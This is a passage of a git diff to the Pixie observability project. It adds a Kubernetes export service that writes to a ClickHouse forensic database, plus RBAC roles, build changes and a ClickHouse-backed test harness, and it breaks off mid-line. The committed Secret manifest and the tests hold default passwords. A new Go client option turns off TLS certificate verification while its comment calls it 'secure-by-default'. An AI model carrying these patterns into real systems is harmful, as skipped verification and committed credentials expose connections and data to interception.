load("//bazel:kustomize.bzl", "kustomize_build") package(default_visibility = ["//visibility:public"]) VIZIER_IMAGE_TO_LABEL = { + "$(IMAGE_PREFIX)/vizier-adaptive_export_image:$(BUNDLE_VERSION)": "//src/vizier/services/adaptive_export:adaptive_export_image", "$(IMAGE_PREFIX)/vizier-cert_provisioner_image:$(BUNDLE_VERSION)": "//src/utils/cert_provisioner:cert_provisioner_image", "$(IMAGE_PREFIX)/vizier-cloud_connector_server_image:$(BUNDLE_VERSION)": "//src/vizier/services/cloud_connector:cloud_connector_server_image", "$(IMAGE_PREFIX)/vizier-kelvin_image:$(BUNDLE_VERSION)": "//src/vizier/services/agent/kelvin:kelvin_image", diff --git a/k8s/vizier/bootstrap/adaptive_export_deployment.yaml b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml new file mode 100644 index 00000000000..5d091f2c989 --- /dev/null +++ b/k8s/vizier/bootstrap/adaptive_export_deployment.yaml @@ -0,0 +1,93 @@ +--- +apiVersion: apps/v1 +kind: Deployment +metadata: + name: adaptive-export +spec: + replicas: 0 + selector: + matchLabels: + name: adaptive-export + template: + metadata: + labels: + name: adaptive-export + plane: control + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + # The beta.kubernetes.io/os label has been deprecated since + # k8s v1.14; every modern kubelet sets kubernetes.io/os. The + # single term below is enough — kept both ORed terms in the + # past for pre-1.14 compatibility. + - matchExpressions: + - key: kubernetes.io/os + operator: In + values: + - linux + serviceAccountName: pl-adaptive-export-service-account + containers: + - name: adaptive-export + image: vizier-adaptive_export_image:latest + env: + - name: PL_NAMESPACE + valueFrom: + fieldRef: + fieldPath: metadata.namespace + - name: PIXIE_API_KEY + valueFrom: + secretKeyRef: + name: pl-adaptive-export-secrets + key: pixie-api-key + - name: CLICKHOUSE_DSN + valueFrom: + secretKeyRef: + name: pl-adaptive-export-secrets + key: clickhouse-dsn + - name: VERBOSE + value: "true" + - name: DETECTION_INTERVAL_SEC + value: "10" + - name: DETECTION_LOOKBACK_SEC + value: "30" + # EXPORT_MODE controls the reconcile behaviour: + # auto - detection drives on/off (default) + # always - plugin always enabled (bypass detection) + # never - plugin always disabled and ch-* scripts purged + - name: EXPORT_MODE + value: "auto" + # Number of consecutive empty detection ticks before auto-disable fires. + - name: EXPORT_QUIET_TICKS + value: "6" + # Optional overrides for the ClickHouse PxL scripts. When unset they are + # parsed from CLICKHOUSE_DSN. Individual fields win over the parsed DSN. + # Defaults below match soc/tree/clickhouse-lab (forensic-soc-db CHI, + # ingest_writer user, forensic_db database). + - name: KUBESCAPE_TABLE + value: "kubescape_logs" + # - name: CLICKHOUSE_HOST + # value: "clickhouse-forensic-soc-db.clickhouse.svc.cluster.local" + # - name: CLICKHOUSE_PORT + # value: "9000" + # - name: CLICKHOUSE_USER + # value: "ingest_writer" + # - name: CLICKHOUSE_PASSWORD + # value: "changeme-ingest" + # - name: CLICKHOUSE_DATABASE + # value: "forensic_db" + securityContext: + allowPrivilegeEscalation: false + capabilities: + drop: + - ALL + seccompProfile: + type: RuntimeDefault + securityContext: + runAsUser: 10100 + runAsGroup: 10100 + fsGroup: 10100 + runAsNonRoot: true + seccompProfile: + type: RuntimeDefault diff --git a/k8s/vizier/bootstrap/adaptive_export_role.yaml b/k8s/vizier/bootstrap/adaptive_export_role.yaml new file mode 100644 index 00000000000..33887150f37 --- /dev/null +++ b/k8s/vizier/bootstrap/adaptive_export_role.yaml @@ -0,0 +1,64 @@ +--- +apiVersion: v1 +kind: ServiceAccount +metadata: + name: pl-adaptive-export-service-account +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: pl-adaptive-export-role +rules: +- apiGroups: + - "" + resources: + - secrets + verbs: + - get + - list +- apiGroups: + - "" + resources: + - configmaps + verbs: + - get + - list +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: pl-adaptive-export-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: pl-adaptive-export-role +subjects: +- kind: ServiceAccount + name: pl-adaptive-export-service-account + namespace: pl +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + name: pl-adaptive-export-cluster-role +rules: +- apiGroups: + - "" + resources: + - pods + verbs: + - get + - list +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRoleBinding +metadata: + name: pl-adaptive-export-cluster-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: pl-adaptive-export-cluster-role +subjects: +- kind: ServiceAccount + name: pl-adaptive-export-service-account + namespace: pl diff --git a/k8s/vizier/bootstrap/adaptive_export_secrets.yaml b/k8s/vizier/bootstrap/adaptive_export_secrets.yaml new file mode 100644 index 00000000000..beced120f63 --- /dev/null +++ b/k8s/vizier/bootstrap/adaptive_export_secrets.yaml @@ -0,0 +1,14 @@ +--- +apiVersion: v1 +kind: Secret +metadata: + name: pl-adaptive-export-secrets +type: Opaque +stringData: + # Replace with your actual Pixie API key from https://work.withpixie.ai + pixie-api-key: "PIXIE_API_KEY_PLACEHOLDER" + # ClickHouse DSN matches soc/tree/clickhouse-lab (CHI "forensic-soc-db", + # ingest_writer user with INSERT rights into the forensic_db database). + # Format: user:password@host:port/database + clickhouse-dsn: >- + ingest_writer:changeme-ingest@clickhouse-forensic-soc-db.clickhouse.svc.cluster.local:9000/forensic_db diff --git a/k8s/vizier/bootstrap/kustomization.yaml b/k8s/vizier/bootstrap/kustomization.yaml index 714f5676426..e373c6bbfe3 100644 --- a/k8s/vizier/bootstrap/kustomization.yaml +++ b/k8s/vizier/bootstrap/kustomization.yaml @@ -15,3 +15,6 @@ resources: - cert_provisioner_role.yaml - cert_provisioner_job.yaml - vizier_crd_role.yaml +- adaptive_export_role.yaml +- adaptive_export_secrets.yaml +- adaptive_export_deployment.yaml diff --git a/scripts/create_cloud_secrets.sh b/scripts/create_cloud_secrets.sh index b00ae9b2d17..15ca798d1ee 100755 --- a/scripts/create_cloud_secrets.sh +++ b/scripts/create_cloud_secrets.sh @@ -91,6 +91,20 @@ kubectl create secret generic -n "${namespace}" \ --from-file=server.crt=./server.crt \ --from-file=server.key=./server.key +kubectl create secret generic -n "${namespace}" \ + service-tls-server-certs \ + --type=kubernetes.io/tls \ + --from-file=tls.crt=./server.crt \ + --from-file=tls.key=./server.key \ + --from-file=ca.crt=./ca.crt + +kubectl create secret generic -n "${namespace}" \ + service-tls-client-certs \ + --type=kubernetes.io/tls \ + --from-file=tls.crt=./client.crt \ + --from-file=tls.key=./client.key \ + --from-file=ca.crt=./ca.crt + popd || exit 1 PROXY_TLS_CERTS="$(mktemp -d)" diff --git a/skaffold/skaffold_cloud.yaml b/skaffold/skaffold_cloud.yaml index 2b29e22e436..596ee6481c1 100644 --- a/skaffold/skaffold_cloud.yaml +++ b/skaffold/skaffold_cloud.yaml @@ -2,7 +2,6 @@ .common_bazel_args: &common_bazel_args - --compilation_mode=opt - --config=stamp -- --action_env=GOOGLE_APPLICATION_CREDENTIALS - --config=x86_64_sysroot apiVersion: skaffold/v4beta1 kind: Config diff --git a/skaffold/skaffold_vizier.yaml b/skaffold/skaffold_vizier.yaml index 2b6218a8c7d..58b6bba70af 100644 --- a/skaffold/skaffold_vizier.yaml +++ b/skaffold/skaffold_vizier.yaml @@ -8,37 +8,50 @@ build: bazel: target: //src/vizier/services/agent/pem:pem_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt - image: vizier-kelvin_image context: . bazel: target: //src/vizier/services/agent/kelvin:kelvin_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt - image: vizier-metadata_server_image context: . bazel: target: //src/vizier/services/metadata:metadata_server_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt - image: vizier-query_broker_server_image context: . bazel: target: //src/vizier/services/query_broker:query_broker_server_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt - image: vizier-cloud_connector_server_image context: . bazel: target: //src/vizier/services/cloud_connector:cloud_connector_server_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt - image: vizier-cert_provisioner_image context: . bazel: target: //src/utils/cert_provisioner:cert_provisioner_image.tar args: - - --compilation_mode=dbg + - --config=x86_64_sysroot + - --compilation_mode=opt + - image: vizier-adaptive_export_image + context: . + bazel: + target: //src/vizier/services/adaptive_export:adaptive_export_image.tar + args: + - --config=x86_64_sysroot + - --compilation_mode=opt tagPolicy: dateTime: {} local: @@ -68,6 +81,7 @@ profiles: path: /build/artifacts/context=./bazel/args value: - --compilation_mode=opt + - --config=x86_64_sysroot - name: heap patches: - op: add @@ -138,9 +152,15 @@ profiles: path: /manifests/kustomize/paths value: - k8s/vizier/persistent_metadata/aarch64 +# Note: You will want to stick with a sysroot based build (-p x86_64_sysroot or -p aarch64_sysroot), +# but you may want to change the --complication_mode setting based on your needs. +# opt builds remove assert/debug checks, while dbg builds work with debuggers (gdb). +# See the bazel docs for more details https://bazel.build/docs/user-manual#compilation-mode - name: x86_64_sysroot patches: - op: add path: /build/artifacts/context=./bazel/args value: - --config=x86_64_sysroot + - --compilation_mode=dbg +# - --compilation_mode=opt diff --git a/src/api/go/pxapi/opts.go b/src/api/go/pxapi/opts.go index 7de095a7f1a..0e2948f999c 100644 --- a/src/api/go/pxapi/opts.go +++ b/src/api/go/pxapi/opts.go @@ -82,3 +82,17 @@ func WithDirectCredsInsecure() ClientOption { c.insecureDirect = true } } + +// WithDirectTLSSkipVerify is the secure-by-default option for direct (standalone / +// node-local PEM) connections: the transport IS TLS-encrypted, but the server cert +// is not chain/hostname-verified. Use this instead of WithDirectCredsInsecure when +// the direct endpoint serves TLS with a self-signed / service cert whose SAN does +// not match the node IP (e.g. vizier-pem's direct-query port served with +// service-tls-certs, dialed at HOST_IP). Unlike WithDisableTLSVerification it does +// NOT require a "cluster.local" address, so it works for the node-IP direct dial. +// Bearer creds (the minted JWT) therefore ride an encrypted channel, never plaintext. +func WithDirectTLSSkipVerify() ClientOption { + return func(c *Client) { + c.disableTLSVerification = true + } +} diff --git a/src/api/go/pxapi/vizier.go b/src/api/go/pxapi/vizier.go index ef5b0bcdfcb..88c5404a583 100644 --- a/src/api/go/pxapi/vizier.go +++ b/src/api/go/pxapi/vizier.go @@ -20,6 +20,7 @@ package pxapi import ( "context" + "strings" "px.dev/pixie/src/api/go/pxapi/errdefs" "px.dev/pixie/src/api/proto/vizierpb" @@ -40,6 +41,7 @@ func (v *VizierClient) ExecuteScript(ctx context.Context, pxl string, mux TableM ClusterID: v.vizierID, QueryStr: pxl, EncryptionOptions: v.encOpts, + Mutation: strings.Contains(pxl, "import pxlog") || strings.Contains(pxl, "import pxtrace"), } origCtx := ctx ctx, cancel := context.WithCancel(ctx) diff --git a/src/api/python/BUILD.bazel b/src/api/python/BUILD.bazel index b231b42fa5d..5bcbdadb951 100644 --- a/src/api/python/BUILD.bazel +++ b/src/api/python/BUILD.bazel @@ -37,13 +37,13 @@ py_wheel( python_requires = ">=3.12, < 3.14", python_tag = "py3", requires = [ - "Authlib==1.5.1", + "Authlib>=1.6.0,<1.7.0", "grpcio==1.76.0", "grpcio-tools==1.76.0", "protobuf==6.33.1", ], strip_path_prefixes = ["src/api/python/"], - version = "0.9.0", + version = "0.9.1", deps = [ "//src/api/python/pxapi:pxapi_library", "//src/api/python/pxapi/proto:pxapi_py_proto_library", diff --git a/src/api/python/requirements.bazel.txt b/src/api/python/requirements.bazel.txt index 8fd2684fe68..b37c483adc5 100644 --- a/src/api/python/requirements.bazel.txt +++ b/src/api/python/requirements.bazel.txt @@ -4,9 +4,9 @@ # # pip-compile --allow-unsafe --generate-hashes --output-file=requirements.bazel.txt requirements.txt # -authlib==1.5.1 \ - --hash=sha256:5cbc85ecb0667312c1cdc2f9095680bb735883b123fb509fde1e65b1c5df972e \ - --hash=sha256:8408861cbd9b4ea2ff759b00b6f02fd7d81ac5a56d0b2b22c08606c6049aae11 +authlib==1.6.9 \ + --hash=sha256:d8f2421e7e5980cc1ddb4e32d3f5fa659cfaf60d8eaf3281ebed192e4ab74f04 \ + --hash=sha256:f08b4c14e08f0861dc18a32357b33fbcfd2ea86cfe3fe149484b4d764c4a0ac3 # via -r requirements.txt cffi==2.0.0 \ --hash=sha256:00bdf7acc5f795150faa6957054fbbca2439db2f775ce831222b66f192f03beb \ diff --git a/src/api/python/requirements.txt b/src/api/python/requirements.txt index 7bea60bb5cd..829b6fd797e 100644 --- a/src/api/python/requirements.txt +++ b/src/api/python/requirements.txt @@ -1,4 +1,4 @@ -Authlib==1.5.1 +Authlib>=1.6.0,<1.7.0 grpcio==1.76.0 grpcio-tools==1.76.0 protobuf==6.33.1 diff --git a/src/carnot/BUILD.bazel b/src/carnot/BUILD.bazel index 664599ad9c0..7eb33fcb776 100644 --- a/src/carnot/BUILD.bazel +++ b/src/carnot/BUILD.bazel @@ -69,6 +69,7 @@ pl_cc_test( ":cc_library", "//src/carnot/exec:test_utils", "//src/carnot/udf_exporter:cc_library", + "//src/common/testing/event:cc_library", ], ) @@ -79,6 +80,7 @@ pl_cc_test( ":cc_library", "//src/carnot/exec:test_utils", "//src/carnot/udf_exporter:cc_library", + "//src/common/testing/event:cc_library", ], ) @@ -98,7 +100,22 @@ pl_cc_binary( pl_cc_binary( name = "carnot_executable", srcs = ["carnot_executable.cc"], + data = [ + "//src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse", + ], + stamp = -1, + tags = [ + "requires_docker", + ], deps = [ ":cc_library", + "//src/common/testing:cc_library", + "//src/common/testing/test_utils:cc_library", + "//src/shared/version:cc_library", + "//src/shared/version:version_linkstamp", + "//src/stirling/source_connectors/socket_tracer:cc_library", + "//src/vizier/funcs:cc_library", + "//src/vizier/funcs/context:cc_library", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", ], ) diff --git a/src/carnot/carnot.cc b/src/carnot/carnot.cc index a466bb5194d..ff55ff0ec15 100644 --- a/src/carnot/carnot.cc +++ b/src/carnot/carnot.cc @@ -181,6 +181,8 @@ Status CarnotImpl::RegisterUDFsInPlanFragment(exec::ExecState* exec_state, plan: .OnUDTFSource(no_op) .OnEmptySource(no_op) .OnOTelSink(no_op) + .OnClickHouseSource(no_op) + .OnClickHouseExportSink(no_op) .Walk(pf); } @@ -378,9 +380,9 @@ Status CarnotImpl::ExecutePlan(const planpb::Plan& logical_plan, const sole::uui int64_t total_time_ns = stats->TotalExecTime(); int64_t self_time_ns = stats->SelfExecTime(); LOG(INFO) << absl::Substitute( - "self_time:$1\ttotal_time: $2\tbytes_output: $3\trows_output: $4\tnode_id:$0", + "self_time:$1\ttotal_time: $2\tbytes_input: $3\tbytes_output: $4\trows_input: $5\trows_output: $6\tnode_id:$0", node_name, PrettyDuration(self_time_ns), PrettyDuration(total_time_ns), - stats->bytes_output, stats->rows_output); + stats->bytes_input, stats->bytes_output, stats->rows_input, stats->rows_output); queryresultspb::OperatorExecutionStats* stats_pb = agent_operator_exec_stats.add_operator_execution_stats(); diff --git a/src/carnot/carnot_executable.cc b/src/carnot/carnot_executable.cc index 52a3d46cd7f..a7b477611f7 100644 --- a/src/carnot/carnot_executable.cc +++ b/src/carnot/carnot_executable.cc @@ -16,9 +16,14 @@ * SPDX-License-Identifier: Apache-2.0 */ +#include + +#include #include #include +#include #include +#include #include #include @@ -28,9 +33,48 @@ #include "src/carnot/exec/local_grpc_result_server.h" #include "src/carnot/funcs/funcs.h" #include "src/common/base/base.h" +#include "src/common/testing/test_environment.h" +#include "src/common/testing/test_utils/container_runner.h" #include "src/shared/types/column_wrapper.h" #include "src/shared/types/type_utils.h" +#include "src/stirling/source_connectors/socket_tracer/http_table.h" #include "src/table_store/table_store.h" +#include "src/vizier/funcs/context/vizier_context.h" +#include "src/vizier/funcs/funcs.h" + +// Example clickhouse test usage: +// The records inserted into clickhouse exist between -10m and -5m +// bazel run -c dbg src/carnot:carnot_executable -- --vmodule=clickhouse_source_node=1 +// --use_clickhouse=true --query="import px;df = px.DataFrame('http_events', +// clickhouse_dsn='default:test_password@localhost:9000/default', start_time='-10m', +// end_time='-9m'); px.display(df)" --output_file=$(pwd)/output.csv +// +// +// Test that verifies bug with Map operators isn't introduced +// bazel run -c dbg src/carnot:carnot_executable -- -v=1 --vmodule=clickhouse_source_node=1 +// --use_clickhouse=true --query="import px;df = px.DataFrame('http_events', +// clickhouse_dsn='default:test_password@localhost:9000/default', start_time='-10m', +// end_time='-9m'); df.time_ = df.event_time; df = df[['time_', 'req_path']]; px.display(df)" +// --output_file=$(pwd)/output.csv +// +// +// Testing existing ClickHouse table (kubescape_stix) table population and query: +// docker run -p 9000:9000 --network=host --env=CLICKHOUSE_PASSWORD=test_password +// clickhouse/clickhouse-server:25.7-alpine CREATE TABLE IF NOT EXISTS default.kubescape_stix ( +// timestamp String, +// pod_name String, +// namespace String, +// data String, +// hostname String, +// event_time DateTime64(3) +//) ENGINE = MergeTree() +// PARTITION BY toYYYYMM(event_time) +// ORDER BY (hostname, event_time); + +// bazel run -c dbg src/carnot:carnot_executable -- --vmodule=clickhouse_source_node=1 +// --use_clickhouse=true --start_clickhouse=false --query="import px;df = +// px.DataFrame('kubescape_stix', clickhouse_dsn='default:test_password@localhost:9000/default', +// start_time='-10m'); px.display(df)" --output_file=$(pwd)/output.csv DEFINE_string(input_file, gflags::StringFromEnv("INPUT_FILE", ""), "The csv containing data to run the query on."); @@ -46,6 +90,12 @@ DEFINE_string(table_name, gflags::StringFromEnv("TABLE_NAME", "csv_table"), DEFINE_int64(rowbatch_size, gflags::Int64FromEnv("ROWBATCH_SIZE", 100), "The size of the rowbatches."); +DEFINE_bool(use_clickhouse, gflags::BoolFromEnv("USE_CLICKHOUSE", false), + "Whether to populate a ClickHouse database."); + +DEFINE_bool(start_clickhouse, gflags::BoolFromEnv("START_CLICKHOUSE", true), + "Whether to start a ClickHouse container with test data."); + using px::types::DataType; namespace { @@ -225,6 +275,267 @@ void TableToCsv(const std::string& filename, output_csv.close(); } +// ClickHouse container configuration +constexpr char kClickHouseImage[] = + "src/stirling/source_connectors/socket_tracer/testing/container_images/clickhouse/clickhouse.tar"; +constexpr char kClickHouseReadyMessage[] = "Ready for connections"; +constexpr int kClickHousePort = 9000; + +/** + * Sets up a ClickHouse client connection with retries. + */ +std::unique_ptr SetupClickHouseClient() { + clickhouse::ClientOptions client_options; + client_options.SetHost("localhost"); + client_options.SetPort(kClickHousePort); + client_options.SetUser("default"); + client_options.SetPassword("test_password"); + client_options.SetDefaultDatabase("default"); + + const int kMaxRetries = 10; + for (int i = 0; i < kMaxRetries; ++i) { + LOG(INFO) << "Attempting to connect to ClickHouse (attempt " << (i + 1) << "/" << kMaxRetries + << ")..."; + try { + auto client = std::make_unique(client_options); + client->Execute("SELECT 1"); + LOG(INFO) << "Successfully connected to ClickHouse"; + return client; + } catch (const std::exception& e) { + LOG(WARNING) << "Failed to connect: " << e.what(); + if (i < kMaxRetries - 1) { + std::this_thread::sleep_for(std::chrono::seconds(2)); + } else { + LOG(FATAL) << "Failed to connect to ClickHouse after " << kMaxRetries << " attempts"; + } + } + } + return nullptr; +} + +/** + * Creates the http_events table in ClickHouse with proper schema and sample data. + */ +void PopulateHttpEventsTable(clickhouse::Client* client) { + try { + // Get current hostname for the data + char current_hostname[256]; + gethostname(current_hostname, sizeof(current_hostname)); + std::string hostname_str(current_hostname); + + // Insert sample data matching the stirling HTTP table schema (upid as String with high:low + // format) + auto time_col = std::make_shared(9); + auto upid_col = std::make_shared(); + auto remote_addr_col = std::make_shared(); + auto remote_port_col = std::make_shared(); + auto local_addr_col = std::make_shared(); + auto local_port_col = std::make_shared(); + auto trace_role_col = std::make_shared(); + auto encrypted_col = std::make_shared(); // Boolean + auto major_version_col = std::make_shared(); + auto minor_version_col = std::make_shared(); + auto content_type_col = std::make_shared(); + auto req_headers_col = std::make_shared(); + auto req_method_col = std::make_shared(); + auto req_path_col = std::make_shared(); + auto req_body_col = std::make_shared(); + auto req_body_size_col = std::make_shared(); + auto resp_headers_col = std::make_shared(); + auto resp_status_col = std::make_shared(); + auto resp_message_col = std::make_shared(); + auto resp_body_col = std::make_shared(); + auto resp_body_size_col = std::make_shared(); + auto latency_col = std::make_shared(); +#ifndef NDEBUG + auto px_info_col = std::make_shared(); +#endif + auto hostname_col = std::make_shared(); + auto event_time_col = std::make_shared(3); + + // Add sample rows + std::time_t now = std::time(nullptr); + LOG(INFO) << "Current time: " << now; + + // Add 10 records (5 with current hostname, 5 with different hostnames) + for (int i = 0; i < 10; ++i) { + time_col->Append((now - 600 + i * 60) * 1000000000LL); // Convert to nanoseconds + + // Generate upid as UINT128 in high:low string format + uint64_t upid_high = 1000 + i; + uint64_t upid_low = 2000 + i; + upid_col->Append(absl::StrFormat("%d:%d", upid_high, upid_low)); + + remote_addr_col->Append(absl::StrFormat("192.168.1.%d", 100 + i)); + remote_port_col->Append(50000 + i); + local_addr_col->Append("127.0.0.1"); + local_port_col->Append(8080); + + // trace_role: 1 = server, 2 = client (alternate) + trace_role_col->Append(i % 2 == 0 ? 1 : 2); + + // encrypted: false for most, true for some + encrypted_col->Append(i % 3 == 0 ? 1 : 0); + + major_version_col->Append(1); + minor_version_col->Append(1); + content_type_col->Append(i % 2 == 0 ? 1 : 0); // 1 = JSON, 0 = unknown + + req_headers_col->Append("Content-Type: application/json"); + req_method_col->Append(i % 2 == 0 ? "GET" : "POST"); + req_path_col->Append(absl::StrFormat("/api/v1/resource/%d", i)); + + std::string req_body = i % 2 == 0 ? "" : "{\"data\": \"test\"}"; + req_body_col->Append(req_body); + req_body_size_col->Append(req_body.size()); + + resp_headers_col->Append("Content-Type: application/json"); + resp_status_col->Append(200); + resp_message_col->Append("OK"); + + std::string resp_body = "{\"result\": \"success\"}"; + resp_body_col->Append(resp_body); + resp_body_size_col->Append(resp_body.size()); + + latency_col->Append(1000000 + i * 100000); +#ifndef NDEBUG + px_info_col->Append(""); +#endif + + // First 5 use current hostname, next 5 use different hostnames + if (i < 5) { + hostname_col->Append(hostname_str); + } else { + hostname_col->Append(absl::StrFormat("other-host-%d", i % 3)); + } + + event_time_col->Append((now - 600 + i * 60) * 1000LL); // Convert to milliseconds + } + + clickhouse::Block block; + block.AppendColumn("time_", time_col); + block.AppendColumn("upid", upid_col); + block.AppendColumn("remote_addr", remote_addr_col); + block.AppendColumn("remote_port", remote_port_col); + block.AppendColumn("local_addr", local_addr_col); + block.AppendColumn("local_port", local_port_col); + block.AppendColumn("trace_role", trace_role_col); + block.AppendColumn("encrypted", encrypted_col); + block.AppendColumn("major_version", major_version_col); + block.AppendColumn("minor_version", minor_version_col); + block.AppendColumn("content_type", content_type_col); + block.AppendColumn("req_headers", req_headers_col); + block.AppendColumn("req_method", req_method_col); + block.AppendColumn("req_path", req_path_col); + block.AppendColumn("req_body", req_body_col); + block.AppendColumn("req_body_size", req_body_size_col); + block.AppendColumn("resp_headers", resp_headers_col); + block.AppendColumn("resp_status", resp_status_col); + block.AppendColumn("resp_message", resp_message_col); + block.AppendColumn("resp_body", resp_body_col); + block.AppendColumn("resp_body_size", resp_body_size_col); + block.AppendColumn("latency", latency_col); + block.AppendColumn("hostname", hostname_col); + block.AppendColumn("event_time", event_time_col); + + client->Insert("http_events", block); + LOG(INFO) << "http_events table populated successfully with 10 records"; + } catch (const std::exception& e) { + LOG(FATAL) << "Failed to populate http_events table: " << e.what(); + } +} + +/** + * Checks if a table exists in ClickHouse. + */ +bool TableExists(clickhouse::Client* client, const std::string& table_name) { + try { + std::string query = absl::Substitute("EXISTS TABLE $0", table_name); + bool exists = false; + client->Select(query, [&exists](const clickhouse::Block& block) { + if (block.GetRowCount() > 0) { + auto result_col = block[0]->As(); + exists = result_col->At(0) == 1; + } + }); + return exists; + } catch (const std::exception& e) { + LOG(WARNING) << "Failed to check if table " << table_name << " exists: " << e.what(); + return false; + } +} + +/** + * Populates the kubescape_stix table with sample STIX data if it exists. + */ +void PopulateKubescapeStixTable(clickhouse::Client* client) { + try { + // Check if table exists + if (!TableExists(client, "kubescape_stix")) { + LOG(INFO) << "kubescape_stix table does not exist, skipping population"; + return; + } + + LOG(INFO) << "Populating kubescape_stix table with sample data..."; + + // Get current hostname + char current_hostname[256]; + gethostname(current_hostname, sizeof(current_hostname)); + std::string hostname_str(current_hostname); + + // Create columns for the kubescape_stix table + auto timestamp_col = std::make_shared(); + auto pod_name_col = std::make_shared(); + auto namespace_col = std::make_shared(); + auto data_col = std::make_shared(); + auto hostname_col = std::make_shared(); + auto event_time_col = std::make_shared(3); + + // Add sample STIX data + std::time_t now = std::time(nullptr); + + // Add 5 sample records with different pods and namespaces + std::vector pod_names = {"web-pod-1", "api-pod-2", "db-pod-3", "cache-pod-4", + "worker-pod-5"}; + std::vector namespaces = {"production", "staging", "development", "production", + "staging"}; + + for (int i = 0; i < 5; ++i) { + // Timestamp as ISO 8601 string + std::time_t record_time = now - (300 - i * 60); // 5 minutes ago to 1 minute ago + char time_buf[30]; + std::strftime(time_buf, sizeof(time_buf), "%Y-%m-%dT%H:%M:%SZ", std::gmtime(&record_time)); + timestamp_col->Append(std::string(time_buf)); + + pod_name_col->Append(pod_names[i]); + namespace_col->Append(namespaces[i]); + + // Add unique STIX data for each record + std::string stix_data = absl::Substitute( + R"({"type":"bundle","id":"bundle--$0","objects":[{"type":"vulnerability","id":"vuln--$0","severity":"$1"}]})", + i, (i % 3 == 0 ? "high" : "medium")); + data_col->Append(stix_data); + + hostname_col->Append(hostname_str); + event_time_col->Append(record_time * 1000LL); // Convert to milliseconds + } + + // Create block and insert + clickhouse::Block block; + block.AppendColumn("timestamp", timestamp_col); + block.AppendColumn("pod_name", pod_name_col); + block.AppendColumn("namespace", namespace_col); + block.AppendColumn("data", data_col); + block.AppendColumn("hostname", hostname_col); + block.AppendColumn("event_time", event_time_col); + + client->Insert("kubescape_stix", block); + LOG(INFO) << "kubescape_stix table populated successfully with 5 records"; + } catch (const std::exception& e) { + LOG(WARNING) << "Failed to populate kubescape_stix table: " << e.what(); + } +} + } // namespace int main(int argc, char* argv[]) { @@ -235,14 +546,62 @@ int main(int argc, char* argv[]) { auto query = FLAGS_query; auto rb_size = FLAGS_rowbatch_size; auto table_name = FLAGS_table_name; + auto use_clickhouse = FLAGS_use_clickhouse; + + // ClickHouse container and client (if enabled) + std::unique_ptr clickhouse_server; + std::unique_ptr clickhouse_client; - auto table = GetTableFromCsv(filename, rb_size); + std::shared_ptr table; + + if (use_clickhouse) { + if (FLAGS_start_clickhouse) { + LOG(INFO) << "Starting ClickHouse container..."; + clickhouse_server = + std::make_unique(px::testing::BazelRunfilePath(kClickHouseImage), + "clickhouse_carnot", kClickHouseReadyMessage); + + std::vector options = { + absl::Substitute("--publish=$0:$0", kClickHousePort), + "--env=CLICKHOUSE_PASSWORD=test_password", + "--network=host", + }; + + auto status = clickhouse_server->Run(std::chrono::seconds{60}, options, {}, true, + std::chrono::seconds{300}); + if (!status.ok()) { + LOG(FATAL) << "Failed to start ClickHouse container: " << status.msg(); + } + } + + // Give ClickHouse time to initialize + LOG(INFO) << "Waiting for ClickHouse to initialize..."; + std::this_thread::sleep_for(std::chrono::seconds(5)); + + // Setup ClickHouse client and create test table + clickhouse_client = SetupClickHouseClient(); + LOG(INFO) << "ClickHouse ready with http_events table"; + } else { + // Only load CSV if not using ClickHouse + table = GetTableFromCsv(filename, rb_size); + } // Execute query. auto table_store = std::make_shared(); auto result_server = px::carnot::exec::LocalGRPCResultSinkServer(); + + // Create vizier func factory context with metadata stub + px::vizier::funcs::VizierFuncFactoryContext func_context( + nullptr, // agent_manager + nullptr, + nullptr, // mdtp_stub + nullptr, // cronscript_stub + table_store, [](grpc::ClientContext*) {} // add_grpc_auth + ); + auto func_registry = std::make_unique("default_registry"); - px::carnot::funcs::RegisterFuncsOrDie(func_registry.get()); + px::vizier::funcs::RegisterFuncsOrDie(func_context, func_registry.get()); + auto clients_config = std::make_unique(px::carnot::Carnot::ClientsConfig{ [&result_server](const std::string& address, const std::string&) { @@ -257,12 +616,74 @@ int main(int argc, char* argv[]) { auto carnot = px::carnot::Carnot::Create(sole::uuid4(), std::move(func_registry), table_store, std::move(clients_config), std::move(server_config)) .ConsumeValueOrDie(); - table_store->AddTable(table_name, table); + + if (use_clickhouse) { + // Create http_events table schema in table_store using the actual stirling HTTP table + // definition + std::vector types; + std::vector names; + + // Convert stirling DataTableSchema to table_store Relation + for (const auto& element : px::stirling::kHTTPTable.elements()) { + std::string col_name(element.name()); + types.push_back(element.type()); + names.push_back(col_name); + } + + px::table_store::schema::Relation rel(types, names); + auto http_events_table = px::table_store::Table::Create("http_events", rel); + // Need to provide a table_id for GetTableIDs() to work + uint64_t http_events_table_id = 1; + table_store->AddTable(http_events_table, "http_events", http_events_table_id); + + // Log the schema for debugging + LOG(INFO) << "http_events table schema has " << names.size() << " columns:"; + for (size_t i = 0; i < names.size(); ++i) { + LOG(INFO) << " Column[" << i << "]: " << names[i] << " (type=" << static_cast(types[i]) + << ")"; + } + + auto schema_query = "import px; px.display(px.CreateClickHouseSchemas())"; + auto schema_query_status = + carnot->ExecuteQuery(schema_query, sole::uuid4(), px::CurrentTimeNS()); + if (!schema_query_status.ok()) { + LOG(FATAL) << absl::Substitute("Schema query failed to execute: $0", + schema_query_status.msg()); + } + PopulateHttpEventsTable(clickhouse_client.get()); + PopulateKubescapeStixTable(clickhouse_client.get()); + } else if (table != nullptr) { + // Add CSV table to table_store + table_store->AddTable(table_name, table); + } + auto exec_status = carnot->ExecuteQuery(query, sole::uuid4(), 